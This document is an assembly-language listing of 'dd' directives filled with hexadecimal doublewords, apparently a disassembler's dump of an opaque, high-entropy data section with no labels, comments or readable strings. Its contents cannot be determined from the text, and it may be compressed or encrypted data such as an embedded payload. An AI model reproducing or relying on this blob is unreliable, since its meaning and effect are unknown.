		dd 0FD450133h, 7AB0A4D7h, 69C53858h, 93830250h,	0C4B16701h
		dd 0C9586214h, 17071131h, 0C126695h, 92A6B95Ch,	0B03FA6ABh
		dd 38799EDCh, 0F96607Fh, 8559308Ah, 61801601h, 0D58D1489h
		dd 95080710h, 830E2EE1h, 0E93017C1h, 5C8310Dh, 0E33F9F08h
		dd 1494933Bh, 0F02FFF56h, 0F5879F20h, 2CE60A30h, 177EE219h
		dd 55DAAFD9h, 0FE5BFFC0h, 742F3141h, 0EE2275F8h, 30E0F6CAh
		dd 8A008F17h, 37766282h, 7EFED335h, 96C15989h, 602CA622h
		dd 0D740D2E8h, 6610CEh,	7E98C993h, 2F0F9912h, 0DD85012Fh
		dd 16E25B88h, 208076CEh, 562F1120h, 2F08F5Bh, 7E5A70D9h
		dd 0B750CE27h, 1B271FFh, 56CD6F04h, 0DC36693Ch,	8814C9A3h
		dd 0A6CB19h, 2B4CBEDEh,	0F78529C3h, 3D08332Ch, 0DD200834h
		dd 81552F60h, 9C85BD6h,	2CE978FFh, 0D0007355h, 0DB006C56h
		dd 0F28B11Ah, 508BFABFh, 1650EEC0h, 9548F1D3h, 61F6FAF3h
		dd 0C52D0AB0h, 0B317B8B8h, 0C909B182h, 155F221Dh, 81C680D9h
		dd 359BDCEFh, 0B7E1A21h, 0B547FBD7h, 26095FAFh,	0E3856037h
		dd 0D3A3EFF8h, 13AB378h, 496924BEh, 5D396677h, 917B850h
		dd 0F40694B3h, 0A1F91984h
		dd 80B97F86h, 9093FD88h, 1923763Ah, 5FB91600h, 0D0851C1h
		dd 0E61BD09h, 0F5142150h, 51F5020Ch, 9EE60062h,	44D837C3h
		dd 0DA3BF47Bh, 5D41AC22h, 2C144674h, 0E50BBFE7h, 0FE796916h
		dd 12207ABFh, 0C9B5230Dh, 0DF05932Ch, 820F3391h, 60039169h
		dd 8477BE66h, 92F2403Bh, 0D017C0BAh, 0C00ADAFFh, 0A8CDE1F4h
		dd 4070B460h, 7194C50h,	0A5FDF301h, 3D8D8BBDh, 0BBB713C3h
		dd 0FFE4170Bh, 20BD588Ch, 0CD982711h, 4A108922h, 769AAEF2h
		dd 8543B3C0h, 0F52F8BD6h, 9C98FFF9h, 1E40C9BDh,	4A4348E9h
		dd 44C9A771h, 0A6286019h, 0BD660E82h, 6F528BC1h, 0AC290B94h
		dd 17C54CBFh, 0FA2745B5h, 27BD88Ch, 82423B1Fh, 0E3E1C2EAh
		dd 0D2CE68F9h, 0DDCE6E00h, 0A0E8909Eh, 3D25B178h, 3B3950F7h
		dd 5E5F568Eh, 0F88B0F5Eh, 84D7DB53h, 450669D4h,	1044A52Ch
		dd 0DF57007Ch, 7FEDFAADh, 9D054BC6h, 9AE40827h,	0CAF8A1FAh
		dd 0B558CAFBh, 8DED509Ch, 0F47CBF25h, 0FFC586B2h, 1B12417Ah
		dd 0C3133922h, 366BA0C4h, 205A430Bh, 2BB5F802h,	40525002h
		dd 0C59E459Dh, 8024043Eh, 0E840A40Eh, 4DD86869h, 0C6D1C066h
		dd 93A0625h, 35135A9Dh,	556D4C09h, 0D5BCAA52h, 3F9C7CDCh
		dd 0F6B8A948h, 5D9BEA8Bh, 0E822AC46h, 210E808h,	62339350h
		dd 0AB821EFDh, 5F050FE1h, 16B2ADA6h, 4C8A5F30h,	37C111F2h
		dd 0C8068638h, 495E2C34h, 0B5294F30h, 0FF00E1C5h, 897952D3h
		dd 5E16CAB9h, 2226C98Dh, 29B53104h, 0C0E90205h,	62A9D108h
		dd 0B012225h, 0AF2A2DB5h, 0B08E1B09h, 0B42FB10Fh, 750ED991h
		dd 0B8EE69EBh, 8BA40B8Ah, 1829F99Dh, 514D8DE6h,	0ED23347Fh
		dd 8A758FF4h, 41F57F84h, 2077BD83h, 4A887868h, 0F102F8A0h
		dd 0E9327336h, 0D9727B6Dh, 0C965CC92h, 60886A13h, 0E9173A5Dh
		dd 356F95D0h, 8BFC7Bh, 0B6081977h, 3C1361A4h, 89EDB40Eh
		dd 58F5298Ah, 0CDAED340h, 9D67305Ch, 99E91D40h,	148D2CADh
		dd 219C18F7h, 2BAD9505h, 0AB31B988h, 8B9DAA94h,	64D247A7h
		dd 0C79E611Ch, 0FE4A652Ah, 0FEE426F5h, 0B5CC00DAh, 0E754ABACh
		dd 2B13B12Fh, 0B91E9C55h, 4C96290Bh, 13F85A63h,	23083A53h
		dd 167A0F1Bh, 0C76C96E7h, 0A02F9CCh, 0E4090831h, 35486B5Eh
		dd 0AE982637h, 4A77CFBCh, 6CCD363Ah, 4C033D20h,	6F057990h
		dd 8C6050F8h, 9D005E29h, 3EDF125Ch, 9090615Fh, 0BEE148DAh
		dd 6529C78Bh, 0E7700E53h, 6F0800B8h, 5BA70F01h,	0B0489FC6h
		dd 8C15EC60h, 0F090FB24h, 73DA00C9h, 0B84CDF38h, 2E412792h
		dd 9AF66AAh, 60EA324Dh,	0B9A43FC2h, 0B60F0421h,	1CA293E3h
		dd 4FF8E530h, 9E7AC91h,	578FE626h, 6631C679h, 0E20404EDh
		dd 0D2204A70h, 0B7D820h, 0EBF4A124h, 0CBBCD7C5h, 82BBB016h
		dd 41FEC50Bh, 2811135Fh, 0B94DF841h, 9122A40Fh,	1637000Ch
		dd 9677D9Fh, 156BA231h,	1504EE2h, 37272D9Ch, 78E00001h
		dd 2AEBD390h, 8C9489E4h, 70DE8140h, 76150B80h, 6DDFD82Bh
		dd 765660CDh, 0FD00B683h, 893E590Ah, 0F2BBBE25h, 60492C18h
		dd 8D8BC003h, 108A1AD5h, 112B688h, 0CF60E681h, 0D4BAD6D2h
		dd 3002A53h, 3DD78C95h,	9616EF6h, 241C8950h, 58AF7B57h
		dd 0B2010E8Fh, 0F777494Bh, 59E62C32h, 59F3A078h, 744A5D11h
		dd 8824CB79h, 32DDC01Bh, 3C0BD04Ah, 41D85C43h, 81000F41h
		dd 640B86CEh, 1DB00723h, 8F1D9155h, 39A3E0C2h, 9AA471h
		dd 6093B073h, 0D402BA66h, 0DE63BE02h, 0FF614B16h, 2B043D79h
		dd 0AB54A5BDh, 8D6BFE5Fh, 0CDC76609h, 11A44082h, 989127D9h
		dd 1224D54Dh, 0C8B5E9CDh, 486098Bh, 8581F93Ah, 6F7CBAF3h
		dd 0B22E59C4h, 0AB0F2DA8h, 0F068DD18h, 6101A1BBh, 0BE3779A6h
		dd 4ACEFE2Eh, 708EDBADh, 0C7928FB7h, 6C2B8ECAh,	1C465Eh
		dd 8BAD1615h, 95E811Ah,	57609BEDh, 2D199002h, 0B9665F01h
		dd 9061E2CCh, 4DB60B8Fh, 0AE023129h, 58050649h,	7240F4FBh
		dd 8751460Bh, 0D2EF49A9h, 0AE2AE665h, 200266Bh,	0FFE3EBAAh
		dd 0A5B0E6CDh, 243CC81Ch, 54EF126Dh, 0FDE5DCE5h, 0C728F0E0h
		dd 0FA7EF0Bh, 0DE011980h, 0FE0E9FE8h, 0FD951601h, 0BE98C26h
		dd 0E7CD88h, 17CB314Eh,	0FB93D83Ch, 14E86C14h, 60B90024h
		dd 66A6C458h, 919C00D9h, 6FBB3B26h, 0F53ECC9Ah,	41EF2514h
		dd 5E022882h, 11EF0DDAh, 0C9D5BF66h, 7742ED68h,	77301AE2h
		dd 966E02BEh, 0E82B6CC6h, 0ABB8D890h, 8C62F009h, 0D9CB8260h
		dd 5E610202h, 0E811ECD1h, 0D6080858h, 44C93F77h, 6DCA00EDh
		dd 0C13D989Eh, 0E0FEB07h, 21D0A696h, 5B01E9AFh,	4AB85B69h
		dd 0C27F0900h, 0CB8171ECh, 0AA2AF52Bh, 8049C6Bh, 8106FEC6h
		dd 682BD5D6h, 5F72A3EBh, 0AD6BBB31h, 0D5B8903Eh, 7EECC107h
		dd 0D822641Eh, 0F702817Dh, 3D708FB2h, 7FD455E9h, 603727h
		dd 8071DD42h, 0CF4ECE9Ch, 0D04DC8h, 0D6F4C6EEh,	39FBAE64h
		dd 0D2035900h, 0D5F975E2h, 11079523h, 89C0315Fh, 5A86699Dh
		dd 16232E3Fh, 8C51DD04h, 0D9D189C5h, 5D2B85C7h,	318907E7h
		dd 0A4B53557h, 8A4A0FB2h, 8BF9F542h, 0DC5856C0h, 0C0ECA300h
		dd 0F970EA68h, 0A6CB133Ah, 10630929h, 850DD36Dh, 37390A59h
		dd 582D82BCh, 735E9A76h, 83027095h, 9615DCBFh, 0C4AA3937h
		dd 24042E04h, 5E0D1C6Eh, 6BD363FDh, 60A901DDh, 0E382E5A8h
		dd 5E67EF8h, 35958997h,	743FCA03h, 2D40A4B0h, 23600B90h
		dd 0B9E079B5h, 0FAA061F8h, 61B92951h, 0F72F451Ch, 5055EF18h
		dd 7E2FAE00h, 6FD73EFFh, 0D3ED3206h, 0D390392Eh, 0F51225F7h
		dd 0F6AB7134h, 0F9AB0B2h, 25CF998Ch, 353645Fh, 91F2AEBFh
		dd 0AC200350h, 0BD23112Ch, 34C24805h, 0B981F175h, 34794B6Dh
		dd 0F900D7B8h, 0F29C187h, 9803F6B7h, 3944EDEFh,	12338B10h
		dd 891F1331h, 0BDD90A67h, 0F7AA18DEh, 3061C26Fh, 37B53180h
		dd 0FADB0AC1h, 3C4914E1h, 5BEE8103h, 69DA01D8h,	0DB0BE3C9h
		dd 1CF104BAh, 2F559584h, 0BCE7F9ABh, 0F7971825h, 0C5E772D2h
		dd 0CFE9A93Eh, 26D064C4h, 9460A7AEh, 5500DCA6h,	0D4173396h
		dd 0FEDE930Dh, 0C7B9A00Bh, 41439260h, 61C2D81Ch, 0BC1CB94Eh
		dd 0F00B7A7h, 8C0652Dh,	0AD3C7ABBh, 0CA904951h,	8D21ECA1h
		dd 7E2B25EDh, 6AAC85E9h, 0D6F77B00h, 0BBACF015h, 941B1BB5h
		dd 0A1945A10h, 0B8163962h, 0DD4B0786h, 917E4880h, 0C8D78B67h
		dd 174DAD95h, 155F7EC3h, 0A00867BAh, 0D0F57096h, 806FF13Ah
		dd 638F6634h, 2A37E98Dh, 2798B2Eh, 837CDC80h, 0AC6101E1h
		dd 6A56C230h, 0CC6005F4h, 1F2B755Bh, 0BA0AE0B0h, 0D306ED4Bh
		dd 227D8505h, 0D38EED50h, 3701A26Fh, 217F3ED7h,	10957CB3h
		dd 6605259Dh, 4DC905BBh, 293B1E6Bh, 5C5DB857h, 602EACBCh
		dd 500DE5Dh, 23439BCBh,	82278985h, 46826A9Ah, 921322CDh
		dd 32E40A0Bh, 0A4A64110h, 2AB5E460h, 0D8139738h, 7A19E011h
		dd 0D1CA8958h, 1536347Fh, 0EEE06EE6h, 380948BAh, 8BAEB3D1h
		dd 109A5BB3h, 84809B80h, 0A15D8B4Ah, 1818713Ch,	7D631D7Fh
		dd 4465EA83h, 0F2508B02h, 9D152BC8h, 0D7A92809h, 7600006Eh
		dd 0A93C1682h, 3906832Fh, 0DE98F11h, 951D0025h,	3B1B9986h
		dd 490FE75Eh, 545CD10Bh, 50545AD2h, 0B22A1A3Dh,	0A5C8DC14h
		dd 0A5C3E6EDh, 6CE6E8D9h, 19511582h, 2D76338Bh,	5B09E19Dh
		dd 0B65A0489h, 26499486h, 5CF8E3h, 0F982B1Eh, 0B866C2BFh
		dd 8B68B515h, 0D01A656Ah, 412B384Dh, 9CF00736h,	4B01E497h
		dd 0D3DE31CBh, 0F660C7D9h
		dd 612413Dh, 2D29F4F5h,	5769F52Ch, 97F8DDD1h, 85011A6Fh
		dd 0D7025175h, 1CF101Dh, 0AAF98060h, 436B2EF0h,	406E2C13h
		dd 0C43F2AF7h, 0F87AEF00h, 109B9ABCh, 9E2D0FEDh, 4123D5D8h
		dd 0E0153EC7h, 0FEAC98Dh, 833DF381h, 5D611CDFh,	8340C59Eh
		dd 0D1A68E9h, 0DB81805Bh, 31DEF74Bh, 6AEDCBA6h,	2516BB7Bh
		dd 5352C83Dh, 84EAB413h, 0E5744000h, 0D26ABD6h,	94AD292Dh
		dd 0BDA4AD8Ch, 0CA4507D2h, 0EC25D067h, 0C62A3062h, 224365F8h
		dd 0B1301AF2h, 0A23F0458h, 0C510D239h, 0E037B6E4h, 2423CBA6h
		dd 891CA5BDh, 4E6E85C7h, 3D78119Bh, 37B204C2h, 0B661C68Ah
		dd 68AEE0A5h, 99D70098h, 78E3569Ah, 0B52231BDh,	7EB1269h
		dd 25201C61h, 40E0EF55h, 0B10A45AEh, 7703801h, 8A0F73D0h
		dd 0BB41232Fh, 0E402D3B1h, 0A565B589h, 0D8B2617Fh, 311D1C00h
		dd 0C8ECCB78h, 0C17CFD00h, 9FB2FA50h, 0F7B50939h, 69533660h
		dd 1793370h, 7D4A11FAh,	2BC18BA4h, 0A8C28423h, 6549B9h
		dd 0B03811F8h, 81665953h, 0F4A2C73Fh, 71E4C113h, 453B28A5h
		dd 4550680Eh, 0FF880F82h, 2A3B4CE7h, 0BC72F600h, 9D335E54h
		dd 0FF3BA19Dh, 4C885031h, 5F002279h, 8EF2815Ah,	6140691h
		dd 12F88B66h, 21BE9D01h, 860F5740h, 60007562h, 0EA815B61h
		dd 8E30BC4Ch, 8BCBB05Fh, 0F95209C0h, 0B8B018Fh,	8307FC5Ah
		dd 0D7BF04E9h, 8152C1D0h, 280AB9EEh, 821245A5h,	0AACF046h
		dd 0BCC4E9h, 1ACD6BBAh,	81A906F3h, 0DA13F398h, 0B74099E9h
		dd 3A64E25Bh, 0EAD01F88h, 0EFEE08h, 0BBEF27F2h,	0F31E5F19h
		dd 6A8064DEh, 1243C5CEh, 0FD08CCE6h, 0D1002E21h, 8998ED64h
		dd 3EF2CEh, 6846D293h, 3D5F8C7Ah, 7B25423Ah, 0B939BB00h
		dd 0D3AED850h, 0A6A719CFh, 833E0883h, 50B1E321h, 0D372D8CCh
		dd 180A0342h, 9809FE6Ah, 7C7321A0h, 0A4A2DE03h,	80711Ah
		dd 2F369368h, 0D63D56DCh, 0BBEA9200h, 0D7237695h, 5A1F18ACh
		dd 0A32281F2h, 0F6C81E03h, 0E076CA2Eh, 0EA9055h, 3BB475B8h
		dd 0C3D65B27h, 1F5F20C0h, 0F58CE993h, 8311204Eh, 532F8156h
		dd 4800CC32h, 90A0A06Ch, 0A56FA893h, 53C400E1h,	61BAAA8Dh
		dd 0AB272891h, 0BC0804A2h, 64DCC0F4h, 0DE466AB4h, 0D007FB22h
		dd 829164D4h, 0C3FD620h, 0A0EFEE78h, 8069BB94h,	58EF5F8Fh
		dd 5008B5C0h, 0C4B3AEDCh, 8DE7403Ch, 0E2F150h, 110B108h
		dd 0A4AB69AEh, 66C14160h, 0A026295Eh, 6C8F43B4h, 23681847h
		dd 50B7058Ch, 3883AED2h, 8F00D9F4h, 0D3C3EA50h,	1E0AF2CCh
		dd 34A966C6h, 12B40458h, 8A5601ECh, 388121F0h, 8B8E19CDh
		dd 9BAC50A7h, 39011CFEh, 0EF63EA2Dh, 898E23Ah, 0F6FA219Fh
		dd 0CE601C05h, 91C088F0h, 0C4C75053h, 0E78260h,	1EA93A5h
		dd 7FE1C05Ch, 0C6FF673Ah, 25862706h, 60082FDEh,	229E2175h
		dd 6600F367h, 327E854Eh, 44A7A8EFh, 5E18C441h, 42C822E1h
		dd 0DF1C02Eh, 310C4D9Fh, 0E37021Ch, 30EB0B4Dh, 80D48091h
		dd 0C6FD6738h, 77448C37h, 6720019Ch, 0DA41B23Fh, 9F16E47Ch
		dd 0FCB39428h, 11745B21h, 50BA803Eh, 8CABAED9h,	50E23F44h
		dd 130C8B2h, 62C79064h,	4C3C8BC5h, 48CB2BCh, 2D351CFAh
		dd 2092628Ah, 5C1CF2E6h, 3BE3A300h, 675BD653h, 0D48F0226h
		dd 0CA3D6EC6h, 52829080h, 849290AEh, 11A32F21h,	64D380E9h
		dd 87E66AB7h, 64EB803Fh, 825AE53Dh, 0A88A306Ch,	0ED405389h
		dd 7A116000h, 29FBCDB3h, 743F10B7h, 2559108Fh, 18F22C24h
		dd 9BC488F4h, 0E81B422Ah, 0AFACE09h, 0B0348895h, 1C643708h
		dd 0EC52C083h, 0A08B271Bh, 0FDF1E091h, 3D0AE218h, 0F04C0F06h
		dd 0EF130781h, 0A2C80A85h, 5EA1002Fh, 2CAF11A8h, 9801EAFDh
		dd 0CAACDBD2h, 4C428C12h, 25AF2013h, 2FB8188Ah,	29439315h
		dd 0A5B900F0h, 379EFCAh, 3DBE3004h, 0CC627744h,	0AB2A2CE2h
		dd 0B939804Eh, 3922B7E4h, 0DD3A8E90h, 9EC22AAEh, 0F0E8C884h
		dd 0B864D8C0h, 0C23E216Ah, 2C28F891h, 0A27200E0h, 1DAE1C80h
		dd 272284A6h, 44E00EDh,	2DAD12F1h, 0EF61DEA3h, 0AF8BB688h
		dd 88C6E451h, 3442F4h, 3897525Bh, 26CA6C35h, 0F848AF30h
		dd 52CF27FBh, 0F623C4A1h, 0B664D201h, 0F918EE6Ah, 64EAF88Bh
		dd 97E00576h, 0BAD12775h, 0AEFEF4C1h, 0D148F0A9h, 0C018F6h
		dd 0DC1592F8h, 53D5C9C7h, 10755605h, 5448A327h,	64DDC0F7h
		dd 0D6466AB5h, 0D105FF22h, 690764D5h, 406045C3h, 86DACCF8h
		dd 0FE71DC99h, 4D28B018h, 0E491AF42h, 0E01835F1h, 0EEFA2E09h
		dd 0E748108Bh, 0F144995Fh, 511833h, 98592E7Ch, 42252388h
		dd 3C50D354h, 50B80E8Ch, 8851AEDBh, 0B0E0803Dh,	0C9BF7750h
		dd 0A9AFE900h, 0F6B3B720h, 3E1CB057h, 458A6A3h,	35C0D188h
		dd 46C6F867h, 72221Fh, 0CC673D81h, 22408BA6h, 0B0119499h
		dd 331CF880h, 879A2Dh, 131CF0E0h, 0D0120E3Ch, 0EC049027h
		dd 0E402A4C6h, 54601F70h, 2383D499h, 0FC018C60h, 0FA2D371Ch
		dd 0E4889118h, 821C00F4h, 8CDEFD0Dh, 24007081h,	0CA2C79FCh
		dd 2C01EC32h, 4444EFC7h, 673960D5h, 3FC623FCh, 9D007111h
		dd 8F7C6721h, 0B214AD96h, 14A4CD72h, 10AC50EEh,	0A100C3F2h
		dd 0C6DE5D12h, 0DCAAD48Bh, 92116417h, 6C313580h, 0A12CC10h
		dd 3404F757h, 2E254AE3h, 33230Ch, 68666572h, 6164D379h
		dd 0E4CE4948h, 0A9C0FCC8h, 0A3783CAh, 0C0217E6Eh, 682D00D8h
		dd 8C525D48h, 50225F29h, 8550B609h, 0C4CE8BACh,	508EE607h
		dd 0FD4D025h, 880206B9h, 0CEAB2F4Fh, 15AC83EDh,	0C88149ECh
		dd 520051BCh, 463C8C14h, 3AC4B71Dh, 1E892F50h, 1C45A68Ah
		dd 866235E4h, 877E6040h, 48B30D80h, 0D0232C04h,	0F9673401h
		dd 761817C6h, 713C8088h, 0D6920067h, 0E327731Fh, 647F6970h
		dd 0BC44CC5Ch, 0C3008C9Ch, 3129A36Ch, 0A78C971h, 4C0776E8h
		dd 1A2E0FF8h, 6024C092h, 0CA2A28EAh, 0D019490h,	68CC1F2Fh
		dd 7030D7BCh, 119480ABh, 0F639720h, 6268A1FCh, 0F542F2A3h
		dd 9321203Bh, 300A0650h, 4674803Ch, 0A1380073h,	0C6532754h
		dd 0CCA74DD1h, 0D608FEBCh, 2A4B91Ah, 61831166h,	30C49847h
		dd 4D1FEB64h, 0C6BE7182h, 8FE441F9h, 1C08F118h,	0C4E22D3Ah
		dd 0E9FB409Eh, 920021Ch, 6CC80428h, 55A3C200h, 840EDE1Fh
		dd 4288E021h, 4743E422h, 60FF446Ch, 0A03F5E4Fh,	81A90EC8h
		dd 1C42D8Ah, 0A22A6352h, 0C080705Dh, 8373BB79h,	9D0CAE9Bh
		dd 0F13242EFh, 260C0004h, 282DC894h, 2C00F32Ah,	0FDB46227h
		dd 188248E5h, 6832926Eh, 0C0B1AA06h, 0D980F311h, 366AB964h
		dd 0B014C25Ch, 64D02Dh,	0D8DC223Eh, 11904C13h, 0A2ABFEA0h
		dd 9085E49h, 6D9C6957h,	7BBDC0B0h, 0A502A451h, 0A156C491h
		dd 2CB028C9h, 0F746746Ch, 405EF61Dh, 41048B3Bh,	6A48C999h
		dd 0B6E202Ch, 8132F2AAh, 0FC119C9Fh, 5DBD0880h,	0CA0CBF07h
		dd 585EA376h, 884E5401h, 5F0B0020h, 64C4A691h, 7C006C30h
		dd 1BA13141h, 0CB20D80h, 47BB76C2h, 0BE13FB38h,	686F9C6Ah
		dd 1028D902h, 98892DA8h, 0F7110C9Dh, 0F9609E8Fh, 6D381D72h
		dd 0E326B706h, 3769202Dh, 89D9C228h, 7C0FD002h,	8031111Fh
		dd 17CED7FCh, 75AF0411h, 0E1132968h, 2C705008h,	0EB4F765Bh
		dd 997E6002h, 0DB0840C8h, 5EC40C1Dh, 0DA102A5Dh, 2075AE0Ch
		dd 4D439DDh, 0DB348DF4h, 0CE5D04FBh, 55062209h,	0A8A350CBh
		dd 0C562BBC0h, 5C3410D2h, 3E887CCBh, 6EAF9EC0h,	4BCB0324h
		dd 21A166C6h, 0BA537108h
		dd 46260EC3h, 0C8F88ED2h, 23F3C0FCh, 48268753h,	84401013h
		dd 94F1FA52h, 0A1A88408h, 64005642h, 55F9865Bh,	0AEAC0FDCh
		dd 0CB93CC1Eh, 0C077C820h, 8F06B61Dh, 0C140A660h, 0E0857ACh
		dd 82DE83BAh, 7D585C61h, 78C85025h, 84F47B32h, 0D6306465h
		dd 67363820h, 7C621FBh,	673E82C0h, 0A66D0278h, 0E22670BFh
		dd 0B5BD84A0h, 9B1D1853h, 2E83B3CCh, 0D8B27AF8h, 1B7BB90Bh
		dd 0F8F66169h, 34392CF8h, 0C4682F08h, 608D1353h, 381CFFFCh
		dd 96F22D27h, 0F7E507C4h, 0E061551Ch, 614C496h,	2DBEC202h
		dd 191AA53h, 740556DCh,	46E6BB9Ch, 9F791009h, 1960006Fh
		dd 67EBFAD3h, 0A67280F4h, 0AE0BE043h, 208E4AC2h, 13B91970h
		dd 18A20FDBh, 0A467370Ch, 208AB61Ah, 31149379h,	0F020208Fh
		dd 86DCEEE6h, 0AB902850h, 0A844A62Ah, 80BC265Ch, 0DB9A25FFh
		dd 28C9173Dh, 0E41C20C4h, 0A8C21678h, 50B6A329h, 4078968Ch
		dd 5A6B36BFh, 908F8339h, 0B826C17Ah, 2C11F0h, 50392D0Dh
		dd 10BF2D1h, 5462EFCDh,	0C8FED9BFh, 4324AED8h, 39101CCFh
		dd 3FA2B453h, 388F9F30h, 0BD3D0F0Dh, 8079B864h,	26BA8C30h
		dd 414FF4Dh, 96DB586Eh,	96A240B3h, 9C1D730h, 9192FA2Ch
		dd 37910C0h, 0A44E40h, 0A6C1ED1Fh, 0E9A1CE38h, 0B834A8B8h
		dd 0F8F2E0AFh, 0FC309CF2h, 0E3033FEEh, 0F95C6F09h, 0A81D1089h
		dd 0BE803E11h, 0F19E1464h, 0E4181703h, 4BB8A789h, 236C2F50h
		dd 0BC3A003Eh, 0DA9C6460h, 5DACDE02h, 8FFE2C57h, 0C0D5E080h
		dd 4FC2F218h, 23B43BA4h, 0A40D00FAh, 29AE40C1h,	0E400ABE2h
		dd 0DF2EF279h, 2618969Ch, 5E98080Eh, 0AE01FD46h, 0CB29BE9Ch
		dd 8B1994F4h, 3B680F4h,	37C08Ah, 7CE411B4h, 6E7076D6h
		dd 0ADDBAA00h, 2F60BF3Ch, 34A604C0h, 81FD49AEh,	23D9DF8h
		dd 5584C1BAh, 0D96859D2h, 0F47F18F9h, 2F523FA3h, 1AAE9182h
		dd 445886A1h, 82B87CF4h, 9D7958B9h, 7D755E18h, 0EE0D2207h
		dd 6583C6BDh, 0DCB840D7h, 1F17172Ch, 0C350200Fh, 0A23CE820h
		dd 0D079FDACh, 31D17300h, 0B4CA447h, 0DA6306A8h, 0F16A48F4h
		dd 0AFDD9300h, 0F9EA315Bh, 70B0C0BFh, 0D6AB218Fh, 0C53BB505h
		dd 40CECF86h, 0CC0FA88h, 667F14h, 6D25B13Eh, 34B2B695h
		dd 0D52830B0h, 28026436h, 2E0F787Fh, 0DC2707E4h, 253C3649h
		dd 24D5240Bh, 4CF1400h,	1366740Ch, 12CCCD21h, 23403AB8h
		dd 914B0132h, 64D576C4h, 32FA2C74h, 33CE04Ch, 0C5A66A8Fh
		dd 18C6D0C4h, 0CE38D692h, 0C7F8C810h, 0FF7267E8h, 0A3A530B8h
		dd 0C0816A2Ah, 458FBB25h, 673AC454h, 0B35DA0EEh, 0E464619Ch
		dd 0BFC00197h, 5AAB2D20h, 0B5C882FDh, 0D0777968h, 588609D8h
		dd 0C440AD6Dh, 1CBEAAA8h, 0D7ED5641h, 0BE18CD01h, 0FA5317F8h
		dd 1094A850h, 0B8162961h, 5D3116B3h, 1CA0A284h,	0C07ABF7Eh
		dd 706C3F30h, 0E72D12ACh, 7D328420h, 56640C0Ah,	84482019h
		dd 9340BA7Dh, 8D020C21h, 235962AAh, 0D80148h, 0DAB70A38h
		dd 5424E4BEh, 1BAC804Fh, 58A8EEFAh, 3C6E71E1h, 2F9A8248h
		dd 1E704C67h, 6430E7Ah,	984FF729h, 0B0508300h, 0C737ACC0h
		dd 0B00E5863h, 0F8010C80h, 0A348A8F6h, 34470B47h, 94C400E0h
		dd 580EACDFh, 262C54E3h, 250D40A8h, 8F04A87Dh, 0C2EEA32Fh
		dd 5B5C4800h, 0EB001FA5h, 0B6A058C1h, 175F6627h, 808F716Ah
		dd 0E30FDC1Ch, 0D92F2431h, 8980970Eh, 7F7758A1h, 0BD4966C4h
		dd 1E2D0050h, 28A5B2DCh, 81F067C3h, 41E7356Ah, 9AE2A4B8h
		dd 259500AEh, 9BCE1279h, 2D6445C5h, 545043B3h, 79000F58h
		dd 785ECA19h, 9BEA9768h, 71857854h, 0CA0E505h, 0DCC0A3DFh
		dd 9BCC84Fh, 5D1F7EC0h,	14D92C6Ah, 0B318F779h, 46CA7100h
		dd 5A1DB2C7h, 2F3309E2h, 608EABh, 0C504A9C4h, 8CD6F2AEh
		dd 26CF94F4h, 7610DE47h, 0F70E3146h, 0F4C05494h, 9FAD12AEh
		dd 295A58C4h, 42304CA8h, 0F978BB09h, 5B0781E2h,	72748C8h
		dd 0B0E20855h, 0C930FAE2h, 6E1E00C1h, 5B2F94C3h, 0E0DDCA0Eh
		dd 0DAC9125Dh, 0C78C8B17h, 60F864F8h, 610A0Eh, 79E96F90h
		dd 0A269482Dh, 0A0142297h, 8F9B105Dh, 302F774Bh, 6D007A23h
		dd 681C32CAh, 69FF03BAh, 0F7466C11h, 0A78A0EE8h, 0A6E8DCF2h
		dd 0DF539205h, 68A0C37Eh, 0C92C0299h, 6B4A86DBh, 4268E049h
		dd 0E8F371E4h, 4F025D0h, 9B2968B7h, 0E000D667h,	1DACEA1Eh
		dd 1E249246h, 0A1D1F108h, 0F11960B2h, 7079CCF1h, 0BC1FF918h
		dd 0DF416B76h, 0F2ACCDA4h, 843490E1h, 0A85809C0h, 3045CC0Eh
		dd 466090C4h, 501FAA71h, 4D98796Fh, 0F04819D0h,	3B265F15h
		dd 18C7D04h, 0C7C40132h, 502D42CBh, 6EA958A0h, 441ED700h
		dd 7301D572h, 69A7E5C8h, 40EE2004h, 6DD5E454h, 0AB2E07EBh
		dd 5BF1275Dh, 70E4ECC5h, 0F7B6FE60h, 0FAAF4104h, 0E891F4CAh
		dd 228C45h, 0F73135F2h,	26766CC4h, 1A4C2CDh, 3D1AA4D8h
		dd 0C058A584h, 88EE4390h, 0CF605D76h, 86B32228h, 88109C93h
		dd 0BA13C7D1h, 0A6EDC004h, 0F7B218A3h, 0AF2E30h, 9A0DB68Ah
		dd 12F59506h, 0D4964305h, 5022A201h, 0F646C190h, 0E81761ADh
		dd 9F877591h, 6197E002h, 0DA009AE5h, 91C12CA6h,	250DD1EDh
		dd 4E57F2Eh, 426071E4h,	3A124618h, 98B24307h, 48025C03h
		dd 68F0B153h, 0FD006AE3h, 0FCD42037h, 48AC38B4h, 0C722586Eh
		dd 0C32C9098h, 0BE09A009h, 0EB80E9C8h, 903B4848h, 2FC6240Ch
		dd 239F701Ch, 37B66700h, 8A7B06Bh, 3F4002DAh, 4F1EC07Fh
		dd 0BFF62068h, 6478E416h, 87658002h, 9B58E1B8h,	6E4AE47Ch
		dd 0EF330ED4h, 4117C654h, 0B6B22C58h, 218000E0h, 2A2EE48Fh
		dd 82F931CFh, 53A65E54h, 3AA913B0h, 1E712334h, 0C098005Dh
		dd 0CC10485Ch, 0BCD03CF9h, 4D008C7Ah, 92225546h, 2EB185CEh
		dd 1C987C88h, 130E0E7h,	0EF583143h, 0C881E998h,	8A8FC9EAh
		dd 0FC55ABh, 0DEC47C27h, 3A00DDECh, 91C6F320h, 49D06CEAh
		dd 0A4C8468h, 0F11C4B5Bh, 7111301Dh, 0BF1CBC82h, 103EE858h
		dd 0B6F21705h, 53407C40h, 3C04C2AFh, 0E409DE73h, 1C442025h
		dd 8A80EA7Fh, 182769E5h, 78C0F46Dh, 1EB7FE66h, 3A74A267h
		dd 10812107h, 0F22680DAh, 69CD85E6h, 0BAE039A9h, 5DD40017h
		dd 6F044DAAh, 1C0942E3h, 0D25F60C7h, 7ECA0928h,	0A0496BF7h
		dd 9DC8AD07h, 80F91168h, 3D72039Ch, 0E6FB0347h,	0A776FAAEh
		dd 21689804h, 7C9E6373h, 77BC07C0h, 0E648552Ch,	0DB211678h
		dd 1C915088h, 444DCA92h, 0AD41AF16h, 150B86Ch, 0C6A88FC0h
		dd 222ED7Eh, 9D146E2Ch,	873D6035h, 1FBF05BAh, 0E2B6A050h
		dd 0D5EC01D4h, 89C23758h, 0E0E03082h, 0E3262518h, 22F791h
		dd 0A148443Dh, 0E67936FAh, 8401B8E0h, 6A8F400Bh, 5C33C5F6h
